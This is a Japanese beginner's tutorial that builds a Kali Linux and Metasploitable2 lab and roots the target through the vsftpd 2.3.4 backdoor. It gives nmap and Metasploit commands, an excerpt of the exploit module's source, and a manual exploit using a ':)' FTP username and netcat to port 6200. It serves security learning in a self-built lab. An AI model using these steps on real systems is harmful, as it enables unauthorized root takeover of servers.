【入門・初心者】脆弱性を突いてシステムを乗っ取ってみた

# はじめに
システム構築でセキュリティは必ず考慮しなくてはいけません。その際に具体的な対策を考える上で攻撃者の気持ちになって考えることは重要です。
攻撃者の心理を少しでも理解するため、実際に自分で「システムの脆弱性を突いてシステムを乗っ取ること」を経験したいと思い、環境を作り検証してみました。

# 攻撃者環境と被攻撃者環境の構築
攻撃者の環境と、攻撃をされる側（以下、被攻撃者とします。）の環境を構築します。
VirtualBox上に攻撃者環境をKali linuxで、被攻撃者環境をMetasploitable2で構築し、Kali linuxがMetasploitable2の環境を乗っ取るというシナリオを想定しています。
それぞれダウンロードに時間はかかりますが構築はとても簡単です。

- Kali Linuxとは
Debianベースのディストリビューションの一つで、ペネトレーションテストを目的としたツールが色々入っています。

- Metasploitableとは
脆弱性が存在するソフトウェアがインストールされたLinuxサーバです。
ペネトレーションテストの学習用に使われます。

以下の図は、今回構築した検証環境の概要です。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/f6e95cae-9c09-ce95-de32-6b15f70a6a6e.png" width="80%" />

## 攻撃者環境の構築
[公式サイト](https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/?_fsi=RaMCFdWv&_fsi=q3w7Df86)の中央にタブがあるので、「Kali Linux VirtualBox Images」を選択し、「Kali Linux Vbox 64 Bit Ova」をクリックするとダウンロードが開始します。
※3.6GBあるのでダウンロードに時間がかかります。

<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/d4d10ba1-b107-f8ae-ce3a-def13f15874b.png" width="80%" />

Virtualboxマネージャーを起動し、「ファイル」>「仮想アプライアンスのインポート」をクリックします。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/71e3de06-4eed-55b6-e9fe-34d3a9afbd5b.png" width="80%" />

テキストボックスの横にあるアイコンをクリックし、ダウンロードしたovaファイルを選択し、「次へ」をクリックします。
その後、「インポート」をクリックします。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/5094cb39-ca4c-33a2-64d4-a22da18ac00f.png" width="50%" />

Virtualboxマネージャーにて「Kali-Linux-2018.4-vbox-amd64」を右クリックし、「設定」をクリックします。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/88861179-caec-8835-867d-c1b6805a42fd.png" width="50%" />

「ネットワーク」タブをクリックし、アダプター1の「割り当て」を「NAT」⇒「ブリッジアダプター」に変更します。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/9bfa5332-4f7f-7f25-45c5-aa8deadb8a71.png" width="80%" />

「Kali-Linux-2018.4-vbox-amd64」を起動します。ユーザ「root」、パスワード「toor」でログインできます。
Terminalを起動して、「ifconfig」でIPアドレスを確認します。攻撃者環境のIPは「10.100.1.65」であることが分かりました。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/a219cfe5-d903-27b5-9e5b-0a29a47fb25f.png" width="80%" />

## 被攻撃者環境の構築
[このサイト](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/)で、「Download Lates Version」をクリックします。
クリック後、zipファイルがダウンロードされます。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/85d74a36-7be1-13fc-8139-c989e75b913e.png" width="80%" />

zipファイルを展開します。
VirtualBoxマネージャーにて「新規」をクリックし、任意の名前を入力します。
今回は"Metasploitable2"とします。
「タイプ」は「Linux」、「バージョン」は「Ubuntu(64-bit)」を選択します。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/1b5eec9a-2ed6-bf96-37bd-9f92200bcd16.png" width="50%" />

メモリーサイズはデフォルトの「1024MB」のまま「次へ」をクリックします。
ハードディスクは「すでにある仮想ハードディスクを使用する」にチェックを入れ、セレクトボックス横のアイコンをクリックします。
ダウンロード後展開したフォルダに格納されている「Metasploitable.vmdk」を選択し、最後に「作成」をクリックします。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/77cc737a-ea42-f85b-4c4b-14cfcd7bfb5d.png" width="50%" />

「攻撃者環境の構築」と同様に、VirtualBoxマネージャーでMetasploitable2のネットワーク設定を「NAT」⇒「ブリッジアダプター」に変更します。
ネットワーク設定変更後、「Metasploitable2」を起動すると、ユーザ「msfadmin」、パスワード「msfadmin」でログインできます。

ifconfigでIPアドレスを確認します。被攻撃者環境のIPは「10.100.1.73」であることが分かりました。
この時、攻撃者環境と同じネットワークにいることを確認してください。
もし異なる場合は、ネットワークの設定が「ブリッジアダプター」になっているか再度確認してください。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/0011ec9e-0e45-e9d6-3aa8-1fd9be53b137.png" width="80%" />

## 疎通確認
攻撃者環境のTerminalにてpingを実行し、被攻撃者環境にアクセスができるかを確認します。
「ping 10.100.1.73」を実行し、きちんとレスポンスが返ってきていることが分かります。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/5d168da4-7c7b-3439-3a57-0a6aa0730017.png" width="80%" />

# 脆弱性を利用して被攻撃者環境を乗っ取ってみる
## Nmapで被攻撃者環境の起動サービスとソフトウェアバージョンのチェック
攻撃者環境にはNmapというポートスキャンツールが既に入っているため、
これを使って被攻撃者環境でどのようなサービスが動いているかを確認します。

Nmapでは、対象に対してポート番号を変えながらIPパケットを送信し、その反応を調べることでポートが外部からアクセス可能なのかをチェックできます。
ただし、他社が管理するサーバに対してポートスキャンすることは不正アクセスに該当する可能性があるため、
自分で構築した環境以外では使わないようにして下さい。

攻撃者環境から、被攻撃者環境のIPアドレス（10.100.1.73）に対しポートスキャンします。

```
nmap -sS -A 10.100.1.73
```

<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/f7939b21-9c62-73f9-08d7-4f8f42788f24.png" width="80%" />

抜粋して、見方を説明しますと・・・

```
21/tcp   open   ftp   vsftpd 2.3.4
```

「21/tcp」は開いているポート番号/プロトコル
「open」はアクセス可能であること
「ftp」はサービス名
「vstpd 2.3.4」は利用しているソフトウェアとそのバージョンを示しています。

被攻撃者環境では、ポート21番でvsftpd2.3.4で構築されたFTPサービスが動いていることが分かりました。
このvsftpd2.3.4には脆弱性があることがわかっています。今回はこの脆弱性を利用して被攻撃者環境を乗っ取ってみます。
ちなみにvsftpdとはFTPはMetasploitable2だけに入っているものではなく、普通にyumなどでインストールできるソフトウェアです。

### vsftpdのバージョン2.3.4が持つ脆弱性とは
vsftp2.3.4は、CVE-2011-2523として脆弱性がWeb上で公開されています。
[この記事](http://www.intellilink.co.jp/article/vulner/110706.html)に日本語の分かりやすいレポートが載っています。
要は、このバージョンにはバックドアが残っており、特定操作をするとこのバックドアから任意のコマンドを被攻撃者環境上で実行できるというものです。

## metasploitツールを用いて、被攻撃者環境を乗っ取ってみる
metasploitは攻撃コードの作成、実行を行うためのフレームワークソフトウエアです。
攻撃者環境のTerminalにてmetasploitを起動します。
実行コマンドは以下の通りです。
起動に少し時間がかかりますが、完了すると「msf >」と表示されます。

```
msfconsole
```

<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/092d3931-8f03-8dd6-4491-4195c87e3dfe.png" width="80%" />

次に以下のコマンドを実行し、vsftpd2.3.4のexploitを設定します。

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Exploitには設定するOptionがいくつかあるため、以下のコマンドで設定すべき内容を確認します。

```
show options
```

<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/fc4d6552-8cf4-35cd-de60-0ea6345ca2ca.png" width="80%" />

RHOST項目が空白になっているので、RHOSTを設定しなくてはいけないことが分かります。
RHOSTはターゲットのIPアドレスのことなので、RHOSTに被攻撃者環境のIPアドレスを設定します。

```
set RHOST 10.100.1.73
```

必要な設定が完了したので、あとは実行するため、以下のコマンドを入力します。
これで被攻撃者環境の乗っ取りが完了です。

```
run
```

<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/91cecd0e-3a2a-e092-2040-ee269e11de95.png" width="80%" />

ただ、本当に乗っ取れているの？と心配なので、「ifconfig」でIPアドレスを確認してみます。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/0cc8b1df-6339-1a06-8ad3-f1324d5a9769.png" width="80%" />

被攻撃者環境のIPアドレス「10.100.1.73」が表示されていますね。
攻撃者環境から被攻撃者環境にifconfigコマンドを送り、結果が返って来ていることが分かります。
ちなみにwhoamiコマンドを実行すると「root」になっているので、被攻撃者環境のroot権限で様々なコードを実行できるということです。
「被攻撃者環境において、root権限でコマンド実行ができる」、つまり・・・やりたい放題できるので乗っ取りが完了したことが分かります。

## metasploitで何を具体的にやっているのか？
とりあえずmetasploitを使って、乗っ取りは成功したけど・・・
一体全体何が起こった？「exploit/unix/ftp/vsftpd_234_backdoor」って具体的になんだ？
と思い、調べてみると[ソースコード](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb)がありました。
関係ありそうなところだけ転記します。

```rb
  ～省略～
  def exploit

    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

    ～省略～

    # Connect to the FTP service port first
    connect

    banner = sock.get_once(-1, 30).to_s
    print_status("Banner: #{banner.strip}")

    sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
    resp = sock.get_once(-1, 30).to_s
    print_status("USER: #{resp.strip}")

    ～省略～

    sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

    # Do not bother reading the response from password, just try the backdoor
    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
    if nsock
      print_good("Backdoor service has been spawned, handling...")
      handle_backdoor(nsock)
      return
    end

    disconnect

  end

  def handle_backdoor(s)

    s.put("id\n")

    r = s.get_once(-1, 5).to_s
    ～省略～

    print_good("UID: #{r.strip}")

    s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
    handler(s)
  end
  ～省略～
```

コードを読むと大きく分けて3つのステップで構成されていることがわかります。

【ポイント1】":)"の文字列が含まれるユーザ名でログイン

```rb
    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

    ～省略～

    # Connect to the FTP service port first
    connect

    banner = sock.get_once(-1, 30).to_s
    print_status("Banner: #{banner.strip}")

    sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
    resp = sock.get_once(-1, 30).to_s
    print_status("USER: #{resp.strip}")

    ～省略～

    sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
```

【ポイント2】ポート番号6200とコネクションを張る

```rb

    # Do not bother reading the response from password, just try the backdoor
    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
```

【ポイント3】コマンドを送信する

```rb
    if nsock
      print_good("Backdoor service has been spawned, handling...")
      handle_backdoor(nsock)
      return
    end

    disconnect

  end

  def handle_backdoor(s)

    s.put("id\n")

    r = s.get_once(-1, 5).to_s
    ～省略～

    print_good("UID: #{r.strip}")

    s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
    handler(s)
  end
```

上記で紹介した[記事](http://www.intellilink.co.jp/article/vulner/110706.html)にもある通り、
":)"を含むユーザ名でログインし、TCPポート6200番に接続することがポイントのようです。

## 手動で乗っ取ってみる
metasploitを使わずに、上記の流れを手動で再現し、被攻撃者環境を乗っ取ってみます。
攻撃者環境には、ftpコマンドがなかったのでインストールが必要です。
ftpのインストールの際は、ネットワーク設定を「NAT」に変更することを忘れないようにしてください。
<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/b5ba2589-311e-5355-9f3f-dda80eb9d739.png" width="80%" />

攻撃者環境で、被攻撃者環境にftp接続します。ユーザは「123456:)」、パスワードは「123456」を使います。
ただ別にそんなユーザはいないので、このログイン自体は失敗します。

```
ftp 10.100.1.73
```

<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/7ce98311-af5d-d12d-d873-ba91f42c474f.png" width="80%" />

ncコマンドで6200番ポートに接続すると、metasploitを利用した時と同様にroot権限でコマンドが実行できていることが確認できました。

```
nc -nv 10.100.1.73 6200
```

<img src="https://qiita-image-store.s3.amazonaws.com/0/211031/633b4bf8-6b5f-6ee9-889b-012d2a349c33.png" width="80%" />

# 終わりに
今回自分の中で発見だったのは、検索するとexploitコードが結構見れるということです。
exploitコードには脆弱性をどのように利用するのか？が具体的に書いてあるのでとても勉強になります。
セキュリティはとても奥が深く、勉強すべきことは山ほどあるのですが、
今回の取り組みをきっかけに、exploitコードを色々眺めてみることからはじめていこうと思います。